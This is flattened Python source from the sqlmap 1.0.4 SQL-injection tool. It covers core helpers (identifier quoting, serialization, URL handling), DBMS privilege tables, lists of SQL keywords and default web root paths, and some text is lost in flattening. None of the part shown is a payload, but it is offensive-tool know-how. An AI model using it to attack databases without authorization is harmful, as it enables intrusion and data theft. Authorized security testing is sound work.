Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and not re.match(r"\A\w+\Z", retVal, re.U): retVal = "[%s]" % retVal.strip("[]") if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal def unsafeSQLIdentificatorNaming(name): """ Extracts identificator's name from its safe SQL representation """ retVal = name if isinstance(name, basestring): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): retVal = name.replace("`", "") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = name.replace("\"", "").upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,): retVal = name.replace("[", "").replace("]", "") if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): prefix = "%s." % DEFAULT_MSSQL_SCHEMA if retVal.startswith(prefix): retVal = retVal[len(prefix):] return retVal def isNoneValue(value): """ Returns whether the value is unusable (None or '') >>> isNoneValue(None) True >>> isNoneValue('None') True >>> isNoneValue('') True >>> isNoneValue([]) True >>> isNoneValue([2]) False """ if isinstance(value, basestring): return value in ("None", "") elif isListLike(value): return all(isNoneValue(_) for _ in value) elif isinstance(value, dict): return not any(value) else: return value is None def isNullValue(value): """ Returns whether the value contains explicit 'NULL' value >>> isNullValue(u'NULL') True >>> isNullValue(u'foobar') False """ return isinstance(value, basestring) and value.upper() == NULL def expandMnemonics(mnemonics, parser, args): """ Expands mnemonic options """ class MnemonicNode(object): def __init__(self): self.next = {} self.current = [] head = MnemonicNode() pointer = None for group in parser.option_groups: for option in group.option_list: for opt in option._long_opts + option._short_opts: pointer = head for char in opt: if char == "-": continue elif char not in pointer.next: pointer.next[char] = MnemonicNode() pointer = pointer.next[char] pointer.current.append(option) for mnemonic in (mnemonics or "").split(','): found = None name = mnemonic.split('=')[0].replace("-", "").strip() value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None pointer = head for char in name: if char in pointer.next: pointer = pointer.next[char] else: pointer = None break if pointer in (None, head): errMsg = "mnemonic '%s' can't be resolved to any parameter name" % name raise SqlmapSyntaxException(errMsg) elif len(pointer.current) > 1: options = {} for option in pointer.current: for opt in option._long_opts + option._short_opts: opt = opt.strip('-') if opt.startswith(name): options[opt] = option if not options: warnMsg = "mnemonic '%s' can't be resolved" % name logger.warn(warnMsg) elif name in options: found = name debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) else: found = sorted(options.keys(), key=lambda x: len(x))[0] warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys())) warnMsg += "Resolved to shortest of those ('%s')" % found logger.warn(warnMsg) if found: found = options[found] else: found = pointer.current[0] debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) if found: try: value = found.convert_value(found, value) except OptionValueError: value = None if value is not None: setattr(args, found.dest, value) elif not found.type: # boolean setattr(args, found.dest, True) else: errMsg = "mnemonic '%s' requires value of type '%s'" % (name, found.type) raise SqlmapSyntaxException(errMsg) def safeCSValue(value): """ Returns value safe for CSV dumping Reference: http://tools.ietf.org/html/rfc4180 >>> safeCSValue(u'foo, bar') u'"foo, bar"' >>> safeCSValue(u'foobar') u'foobar' """ retVal = value if retVal and isinstance(retVal, basestring): if not (retVal[0] == retVal[-1] == '"'): if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): retVal = '"%s"' % retVal.replace('"', '""') return retVal def filterPairValues(values): """ Returns only list-like values with length 2 >>> filterPairValues([[1, 2], [3], 1, [4, 5]]) [[1, 2], [4, 5]] """ retVal = [] if not isNoneValue(values) and hasattr(values, '__iter__'): retVal = filter(lambda x: isinstance(x, (tuple, list, set)) and len(x) == 2, values) return retVal def randomizeParameterValue(value): """ Randomize a parameter value based on occurances of alphanumeric characters >>> random.seed(0) >>> randomizeParameterValue('foobar') 'rnvnav' >>> randomizeParameterValue('17') '83' """ retVal = value value = re.sub(r"%[0-9a-fA-F]{2}", "", value) for match in re.finditer('[A-Z]+', value): retVal = retVal.replace(match.group(), randomStr(len(match.group())).upper()) for match in re.finditer('[a-z]+', value): retVal = retVal.replace(match.group(), randomStr(len(match.group())).lower()) for match in re.finditer('[0-9]+', value): retVal = retVal.replace(match.group(), str(randomInt(len(match.group())))) return retVal def asciifyUrl(url, forceQuote=False): """ Attempts to make a unicode URL usuable with ``urllib/urllib2``. More specifically, it attempts to convert the unicode object ``url``, which is meant to represent a IRI, to an unicode object that, containing only ASCII characters, is a valid URI. This involves: * IDNA/Puny-encoding the domain name. * UTF8-quoting the path and querystring parts. See also RFC 3987. Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/ >>> asciifyUrl(u'http://www.\u0161u\u0107uraj.com') u'http://www.xn--uuraj-gxa24d.com' """ parts = urlparse.urlsplit(url) if not parts.scheme or not parts.netloc: # apparently not an url return url if all(char in string.printable for char in url): return url # idna-encode domain try: hostname = parts.hostname.encode("idna") except LookupError: hostname = parts.hostname.encode(UNICODE_ENCODING) # UTF8-quote the other parts. We check each part individually if # if needs to be quoted - that should catch some additional user # errors, say for example an umlaut in the username even though # the path *is* already quoted. def quote(s, safe): s = s or '' # Triggers on non-ascii characters - another option would be: # urllib.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". if s.encode("ascii", "replace") != s or forceQuote: return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe) return s username = quote(parts.username, '') password = quote(parts.password, safe='') path = quote(parts.path, safe='/') query = quote(parts.query, safe="&=") # put everything back together netloc = hostname if username or password: netloc = '@' + netloc if password: netloc = ':' + password + netloc netloc = username + netloc try: port = parts.port except: port = None if port: netloc += ':' + str(port) return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) def isAdminFromPrivileges(privileges): """ Inspects privileges to see if those are comming from an admin user """ # In PostgreSQL the usesuper privilege means that the # user is DBA retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges) # In Oracle the DBA privilege means that the # user is DBA retVal |= (Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges) # In MySQL >= 5.0 the SUPER privilege means # that the user is DBA retVal |= (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges) # In MySQL < 5.0 the super_priv privilege means # that the user is DBA retVal |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema and "super_priv" in privileges) # In Firebird there is no specific privilege that means # that the user is DBA # TODO: confirm retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all(_ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE"))) return retVal def findPageForms(content, url, raise_=False, addToTargets=False): """ Parses given page content for possible forms """ class _(StringIO): def __init__(self, content, url): StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content) self._url = url def geturl(self): return self._url if not content: errMsg = "can't parse forms as the page content appears to be blank" if raise_: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) forms = None retVal = set() response = _(content, url) try: forms = ParseResponse(response, backwards_compat=False) except (UnicodeError, ValueError): pass except ParseError: if ">> getHostHeader('http://www.target.com/vuln.php?id=1') 'www.target.com' """ retVal = url if url: retVal = urlparse.urlparse(url).netloc if re.search("http(s)?://\[.+\]", url, re.I): retVal = extractRegexResult("http(s)?://\[(?P.+)\]", url) elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): retVal = retVal.split(':')[0] return retVal def checkDeprecatedOptions(args): """ Checks for deprecated options """ for _ in args: if _ in DEPRECATED_OPTIONS: errMsg = "switch/option '%s' is deprecated" % _ if DEPRECATED_OPTIONS[_]: errMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] raise SqlmapSyntaxException(errMsg) def checkSystemEncoding(): """ Checks for problematic encodings """ if sys.getdefaultencoding() == "cp720": try: codecs.lookup("cp720") except LookupError: errMsg = "there is a known Python issue (#1616979) related " errMsg += "to support for charset 'cp720'. Please visit " errMsg += "'http://blog.oneortheother.info/tip/python-fix-cp720-encoding/index.html' " errMsg += "and follow the instructions to be able to fix it" logger.critical(errMsg) warnMsg = "temporary switching to charset 'cp1256'" logger.warn(warnMsg) reload(sys) sys.setdefaultencoding("cp1256") def evaluateCode(code, variables=None): """ Executes given python code given in a string form """ try: exec(code, variables) except KeyboardInterrupt: raise except Exception, ex: errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex) raise SqlmapGenericException(errMsg) def serializeObject(object_): """ Serializes given object """ return base64pickle(object_) def unserializeObject(value): """ Unserializes object from given serialized form >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3] True """ return base64unpickle(value) if value else None def resetCounter(technique): """ Resets query counter for a given technique """ kb.counters[technique] = 0 def incrementCounter(technique): """ Increments query counter for a given technique """ kb.counters[technique] = getCounter(technique) + 1 def getCounter(technique): """ Returns query counter for a given technique """ return kb.counters.get(technique, 0) def applyFunctionRecursively(value, function): """ Applies function recursively through list-like structures >>> applyFunctionRecursively([1, 2, [3, 4, [19]], -9], lambda _: _ > 0) [True, True, [True, True, [True]], False] """ if isListLike(value): retVal = [applyFunctionRecursively(_, function) for _ in value] else: retVal = function(value) return retVal def decodeHexValue(value, raw=False): """ Returns value decoded from DBMS specific hexadecimal representation >>> decodeHexValue('3132332031') u'123 1' """ retVal = value def _(value): retVal = value if value and isinstance(value, basestring): if len(value) % 2 != 0: retVal = "%s?" % hexdecode(value[:-1]) singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) else: retVal = hexdecode(value) if not kb.binaryField and not raw: if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): try: retVal = retVal.decode("utf-16-le") except UnicodeDecodeError: pass elif Backend.isDbms(DBMS.HSQLDB): try: retVal = retVal.decode("utf-16-be") except UnicodeDecodeError: pass if not isinstance(retVal, unicode): retVal = getUnicode(retVal, "utf8") return retVal try: retVal = applyFunctionRecursively(value, _) except: singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) return retVal def extractExpectedValue(value, expected): """ Extracts and returns expected value by a given type >>> extractExpectedValue(['1'], EXPECTED.BOOL) True >>> extractExpectedValue('1', EXPECTED.INT) 1 """ if expected: value = unArrayizeValue(value) if isNoneValue(value): value = None elif expected == EXPECTED.BOOL: if isinstance(value, int): value = bool(value) elif isinstance(value, basestring): value = value.strip().lower() if value in ("true", "false"): value = value == "true" elif value in ("1", "-1"): value = True elif value == "0": value = False else: value = None elif expected == EXPECTED.INT: if isinstance(value, basestring): value = int(value) if value.isdigit() else None return value def hashDBWrite(key, value, serialize=False): """ Helper function for writing session data to HashDB """ _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): """ Helper function for restoring session data from HashDB """ _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): retVal = None return retVal def resetCookieJar(cookieJar): """ Cleans cookies from a given cookie jar """ if not conf.loadCookies: cookieJar.clear() else: try: if not cookieJar.filename: infoMsg = "loading cookies from '%s'" % conf.loadCookies logger.info(infoMsg) content = readCachedFileContent(conf.loadCookies) lines = filter(None, (line.strip() for line in content.split("\n") if not line.startswith('#'))) handle, filename = tempfile.mkstemp(prefix="sqlmapcj-") os.close(handle) # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html with openFile(filename, "w+b") as f: f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) for line in lines: _ = line.split("\t") if len(_) == 7: _[4] = FORCE_COOKIE_EXPIRATION_TIME f.write("\n%s" % "\t".join(_)) cookieJar.filename = filename cookieJar.load(cookieJar.filename, ignore_expires=True) for cookie in cookieJar: if cookie.expires < time.time(): warnMsg = "cookie '%s' has expired" % cookie singleTimeWarnMessage(warnMsg) cookieJar.clear_expired_cookies() if not cookieJar._cookies: errMsg = "no valid cookies found" raise SqlmapGenericException(errMsg) except cookielib.LoadError, msg: errMsg = "there was a problem loading " errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", "\g<1>", str(msg)) raise SqlmapGenericException(errMsg) def decloakToTemp(filename): """ Decloaks content of a given file to a temporary file with similar name and extension """ content = decloak(filename) _ = utf8encode(os.path.split(filename[:-1])[-1]) prefix, suffix = os.path.splitext(_) prefix = prefix.split(os.extsep)[0] handle, filename = tempfile.mkstemp(prefix=prefix, suffix=suffix) os.close(handle) with open(filename, "w+b") as f: f.write(content) return filename def prioritySortColumns(columns): """ Sorts given column names by length in ascending order while those containing string 'id' go first >>> prioritySortColumns(['password', 'userid', 'name']) ['userid', 'name', 'password'] """ _ = lambda x: x and "id" in x.lower() return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0) def getRequestHeader(request, name): """ Solving an issue with an urllib2 Request header case sensitivity Reference: http://bugs.python.org/issue2275 """ retVal = None if request and name: retVal = max(value if name.upper() == key.upper() else None for key, value in request.header_items()) return retVal def isNumber(value): """ Returns True if the given value is a number-like object >>> isNumber(1) True >>> isNumber('0') True >>> isNumber('foobar') False """ try: float(value) except: return False else: return True def zeroDepthSearch(expression, value): """ Searches occurrences of value inside expression at 0-depth level regarding the parentheses """ retVal = [] depth = 0 for index in xrange(len(expression)): if expression[index] == '(': depth += 1 elif expression[index] == ')': depth -= 1 elif depth == 0 and expression[index:index + len(value)] == value: retVal.append(index) return retVal def splitFields(fields, delimiter=','): """ Returns list of (0-depth) fields splitted by delimiter >>> splitFields('foo, bar, max(foo, bar)') ['foo', 'bar', 'max(foo,bar)'] """ fields = fields.replace("%s " % delimiter, delimiter) commas = [-1, len(fields)] commas.extend(zeroDepthSearch(fields, ',')) commas = sorted(commas) return [fields[x + 1:y] for (x, y) in zip(commas, commas[1:])] def pollProcess(process, suppress_errors=False): """ Checks for process status (prints . if still running) """ while True: dataToStdout(".") time.sleep(1) returncode = process.poll() if returncode is not None: if not suppress_errors: if returncode == 0: dataToStdout(" done\n") elif returncode < 0: dataToStdout(" process terminated by signal %d\n" % returncode) elif returncode > 0: dataToStdout(" quit unexpectedly with return code %d\n" % returncode) break def getSafeExString(ex, encoding=None): """ Safe way how to get the proper exception represtation as a string (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161')) """ retVal = ex if getattr(ex, "message", None): retVal = ex.message elif getattr(ex, "msg", None): retVal = ex.msg return getUnicode(retVal, encoding=encoding) sqlmap-1.0.4/lib/core/convert.py000066400000000000000000000124621270044205500165450ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import base64 import json import pickle import re import StringIO import sys import types from lib.core.settings import IS_WIN from lib.core.settings import UNICODE_ENCODING from lib.core.settings import PICKLE_REDUCE_WHITELIST def base64decode(value): """ Decodes string value from Base64 to plain format >>> base64decode('Zm9vYmFy') 'foobar' """ return base64.b64decode(value) def base64encode(value): """ Encodes string value from plain to Base64 format >>> base64encode('foobar') 'Zm9vYmFy' """ return base64.b64encode(value) def base64pickle(value): """ Serializes (with pickle) and encodes to Base64 format supplied (binary) value >>> base64pickle('foobar') 'gAJVBmZvb2JhcnEALg==' """ retVal = None try: retVal = base64encode(pickle.dumps(value, pickle.HIGHEST_PROTOCOL)) except: warnMsg = "problem occurred while serializing " warnMsg += "instance of a type '%s'" % type(value) singleTimeWarnMessage(warnMsg) try: retVal = base64encode(pickle.dumps(value)) except: retVal = base64encode(pickle.dumps(str(value), pickle.HIGHEST_PROTOCOL)) return retVal def base64unpickle(value): """ Decodes value from Base64 to plain format and deserializes (with pickle) its content >>> base64unpickle('gAJVBmZvb2JhcnEALg==') 'foobar' """ retVal = None def _(self): if len(self.stack) > 1: func = self.stack[-2] if func not in PICKLE_REDUCE_WHITELIST: raise Exception, "abusing reduce() is bad, Mkay!" self.load_reduce() def loads(str): file = StringIO.StringIO(str) unpickler = pickle.Unpickler(file) unpickler.dispatch[pickle.REDUCE] = _ return unpickler.load() try: retVal = loads(base64decode(value)) except TypeError: retVal = loads(base64decode(bytes(value))) return retVal def hexdecode(value): """ Decodes string value from hex to plain format >>> hexdecode('666f6f626172') 'foobar' """ value = value.lower() return (value[2:] if value.startswith("0x") else value).decode("hex") def hexencode(value): """ Encodes string value from plain to hex format >>> hexencode('foobar') '666f6f626172' """ return utf8encode(value).encode("hex") def unicodeencode(value, encoding=None): """ Returns 8-bit string representation of the supplied unicode value >>> unicodeencode(u'foobar') 'foobar' """ retVal = value if isinstance(value, unicode): try: retVal = value.encode(encoding or UNICODE_ENCODING) except UnicodeEncodeError: retVal = value.encode(UNICODE_ENCODING, "replace") return retVal def utf8encode(value): """ Returns 8-bit string representation of the supplied UTF-8 value >>> utf8encode(u'foobar') 'foobar' """ return unicodeencode(value, "utf-8") def utf8decode(value): """ Returns UTF-8 representation of the supplied 8-bit string representation >>> utf8decode('foobar') u'foobar' """ return value.decode("utf-8") def htmlunescape(value): """ Returns (basic conversion) HTML unescaped value >>> htmlunescape('a<b') 'a'), ('"', '"'), (' ', ' '), ('&', '&')) retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal) try: retVal = re.sub(r"&#x([^;]+);", lambda match: unichr(int(match.group(1), 16)), retVal) except ValueError: pass return retVal def singleTimeWarnMessage(message): # Cross-linked function sys.stdout.write(message) sys.stdout.write("\n") sys.stdout.flush() def stdoutencode(data): retVal = None try: data = data or "" # Reference: http://bugs.python.org/issue1602 if IS_WIN: output = data.encode(sys.stdout.encoding, "replace") if '?' in output and '?' not in data: warnMsg = "cannot properly display Unicode characters " warnMsg += "inside Windows OS command prompt " warnMsg += "(http://bugs.python.org/issue1602). All " warnMsg += "unhandled occurances will result in " warnMsg += "replacement with '?' character. Please, find " warnMsg += "proper character representation inside " warnMsg += "corresponding output files. " singleTimeWarnMessage(warnMsg) retVal = output else: retVal = data.encode(sys.stdout.encoding) except: retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data return retVal def jsonize(data): """ Returns JSON serialized data >>> jsonize({'foo':'bar'}) '{\\n "foo": "bar"\\n}' """ return json.dumps(data, sort_keys=False, indent=4) def dejsonize(data): """ Returns JSON deserialized data >>> dejsonize('{\\n "foo": "bar"\\n}') {u'foo': u'bar'} """ return json.loads(data) sqlmap-1.0.4/lib/core/data.py000066400000000000000000000013331270044205500157710ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.datatype import AttribDict from lib.core.log import LOGGER # sqlmap paths paths = AttribDict() # object to store original command line options cmdLineOptions = AttribDict() # object to store merged options (command line, configuration file and default options) mergedOptions = AttribDict() # object to share within function and classes command # line options and settings conf = AttribDict() # object to share within function and classes results kb = AttribDict() # object with each database management system specific queries queries = {} # logger logger = LOGGER sqlmap-1.0.4/lib/core/datatype.py000066400000000000000000000056021270044205500166760ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import copy import types from lib.core.exception import SqlmapDataException class AttribDict(dict): """ This class defines the sqlmap object, inheriting from Python data type dictionary. >>> foo = AttribDict() >>> foo.bar = 1 >>> foo.bar 1 """ def __init__(self, indict=None, attribute=None): if indict is None: indict = {} # Set any attributes here - before initialisation # these remain as normal attributes self.attribute = attribute dict.__init__(self, indict) self.__initialised = True # After initialisation, setting attributes # is the same as setting an item def __getattr__(self, item): """ Maps values to attributes Only called if there *is NOT* an attribute with this name """ try: return self.__getitem__(item) except KeyError: raise SqlmapDataException("unable to access item '%s'" % item) def __setattr__(self, item, value): """ Maps attributes to values Only if we are initialised """ # This test allows attributes to be set in the __init__ method if "_AttribDict__initialised" not in self.__dict__: return dict.__setattr__(self, item, value) # Any normal attributes are handled normally elif item in self.__dict__: dict.__setattr__(self, item, value) else: self.__setitem__(item, value) def __getstate__(self): return self.__dict__ def __setstate__(self, dict): self.__dict__ = dict def __deepcopy__(self, memo): retVal = self.__class__() memo[id(self)] = retVal for attr in dir(self): if not attr.startswith('_'): value = getattr(self, attr) if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): setattr(retVal, attr, copy.deepcopy(value, memo)) for key, value in self.items(): retVal.__setitem__(key, copy.deepcopy(value, memo)) return retVal class InjectionDict(AttribDict): def __init__(self): AttribDict.__init__(self) self.place = None self.parameter = None self.ptype = None self.prefix = None self.suffix = None self.clause = None # data is a dict with various stype, each which is a dict with # all the information specific for that stype self.data = AttribDict() # conf is a dict which stores current snapshot of important # options used during detection self.conf = AttribDict() self.dbms = None self.dbms_version = None self.os = None sqlmap-1.0.4/lib/core/decorators.py000066400000000000000000000011401270044205500172210ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ def cachedmethod(f, cache={}): """ Method with a cached content Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ """ def _(*args, **kwargs): try: key = (f, tuple(args), frozenset(kwargs.items())) except: key = "".join(str(_) for _ in (f, args, kwargs)) if key not in cache: cache[key] = f(*args, **kwargs) return cache[key] return _ sqlmap-1.0.4/lib/core/defaults.py000066400000000000000000000011121270044205500166620ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.datatype import AttribDict _defaults = { "csvDel": ",", "timeSec": 5, "googlePage": 1, "cpuThrottle": 5, "verbose": 1, "delay": 0, "timeout": 30, "retries": 3, "saFreq": 0, "threads": 1, "level": 1, "risk": 1, "dumpFormat": "CSV", "tech": "BEUSTQ", "torType": "HTTP", } defaults = AttribDict(_defaults) sqlmap-1.0.4/lib/core/dicts.py000066400000000000000000000227011270044205500161700ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import POST_HINT from lib.core.settings import BLANK from lib.core.settings import NULL from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import PGSQL_ALIASES from lib.core.settings import ORACLE_ALIASES from lib.core.settings import SQLITE_ALIASES from lib.core.settings import ACCESS_ALIASES from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import HSQLDB_ALIASES FIREBIRD_TYPES = { 261: "BLOB", 14: "CHAR", 40: "CSTRING", 11: "D_FLOAT", 27: "DOUBLE", 10: "FLOAT", 16: "INT64", 8: "INTEGER", 9: "QUAD", 7: "SMALLINT", 12: "DATE", 13: "TIME", 35: "TIMESTAMP", 37: "VARCHAR", } SYBASE_TYPES = { 14: "floatn", 8: "float", 15: "datetimn", 12: "datetime", 23: "real", 28: "numericn", 10: "numeric", 27: "decimaln", 26: "decimal", 17: "moneyn", 11: "money", 21: "smallmoney", 22: "smalldatetime", 13: "intn", 7: "int", 6: "smallint", 5: "tinyint", 16: "bit", 2: "varchar", 18: "sysname", 25: "nvarchar", 1: "char", 24: "nchar", 4: "varbinary", 80: "timestamp", 3: "binary", 19: "text", 20: "image", } MYSQL_PRIVS = { 1: "select_priv", 2: "insert_priv", 3: "update_priv", 4: "delete_priv", 5: "create_priv", 6: "drop_priv", 7: "reload_priv", 8: "shutdown_priv", 9: "process_priv", 10: "file_priv", 11: "grant_priv", 12: "references_priv", 13: "index_priv", 14: "alter_priv", 15: "show_db_priv", 16: "super_priv", 17: "create_tmp_table_priv", 18: "lock_tables_priv", 19: "execute_priv", 20: "repl_slave_priv", 21: "repl_client_priv", 22: "create_view_priv", 23: "show_view_priv", 24: "create_routine_priv", 25: "alter_routine_priv", 26: "create_user_priv", } PGSQL_PRIVS = { 1: "createdb", 2: "super", 3: "catupd", } # Reference(s): http://stackoverflow.com/a/17672504 # http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES FIREBIRD_PRIVS = { "S": "SELECT", "I": "INSERT", "U": "UPDATE", "D": "DELETE", "R": "REFERENCE", "E": "EXECUTE", "X": "EXECUTE", "A": "ALL", "M": "MEMBER", "T": "DECRYPT", "E": "ENCRYPT", "B": "SUBSCRIBE", } DB2_PRIVS = { 1: "CONTROLAUTH", 2: "ALTERAUTH", 3: "DELETEAUTH", 4: "INDEXAUTH", 5: "INSERTAUTH", 6: "REFAUTH", 7: "SELECTAUTH", 8: "UPDATEAUTH", } DUMP_REPLACEMENTS = {" ": NULL, "": BLANK} DBMS_DICT = { DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "mssql+pymssql"), DBMS.MYSQL: (MYSQL_ALIASES, "python pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"), DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"), DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"), DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/", "access"), DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "http://code.google.com/p/ibm-db/", "ibm_db_sa"), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), } FROM_DUMMY_TABLE = { DBMS.ORACLE: " FROM DUAL", DBMS.ACCESS: " FROM MSysAccessObjects", DBMS.FIREBIRD: " FROM RDB$DATABASE", DBMS.MAXDB: " FROM VERSIONS", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS" } SQL_STATEMENTS = { "SQL SELECT statement": ( "select ", "show ", " top ", " distinct ", " from ", " from dual", " where ", " group by ", " order by ", " having ", " limit ", " offset ", " union all ", " rownum as ", "(case ", ), "SQL data definition": ( "create ", "declare ", "drop ", "truncate ", "alter ", ), "SQL data manipulation": ( "bulk ", "insert ", "update ", "delete ", "merge ", "load ", ), "SQL data control": ( "grant ", "revoke ", ), "SQL data execution": ( "exec ", "execute ", "values ", "call ", ), "SQL transaction": ( "start transaction ", "begin work ", "begin transaction ", "commit ", "rollback ", ), } POST_HINT_CONTENT_TYPES = { POST_HINT.JSON: "application/json", POST_HINT.JSON_LIKE: "application/json", POST_HINT.MULTIPART: "multipart/form-data", POST_HINT.SOAP: "application/soap+xml", POST_HINT.XML: "application/xml", POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", } DEPRECATED_OPTIONS = { "--replicate": "use '--dump-format=SQLITE' instead", "--no-unescape": "use '--no-escape' instead", "--binary": "use '--binary-fields' instead", "--auth-private": "use '--auth-file' instead", "--check-payload": None, "--check-waf": None, } DUMP_DATA_PREPROCESS = { DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643 DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"}, } DEFAULT_DOC_ROOTS = { OS.WINDOWS: ("C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"), OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout } sqlmap-1.0.4/lib/core/dump.py000066400000000000000000000651301270044205500160320ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import cgi import hashlib import os import re import tempfile import threading from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import isListLike from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import prioritySortColumns from lib.core.common import randomInt from lib.core.common import safeCSValue from lib.core.common import unicodeencode from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CONTENT_STATUS from lib.core.enums import CONTENT_TYPE from lib.core.enums import DBMS from lib.core.enums import DUMP_FORMAT from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapSystemException from 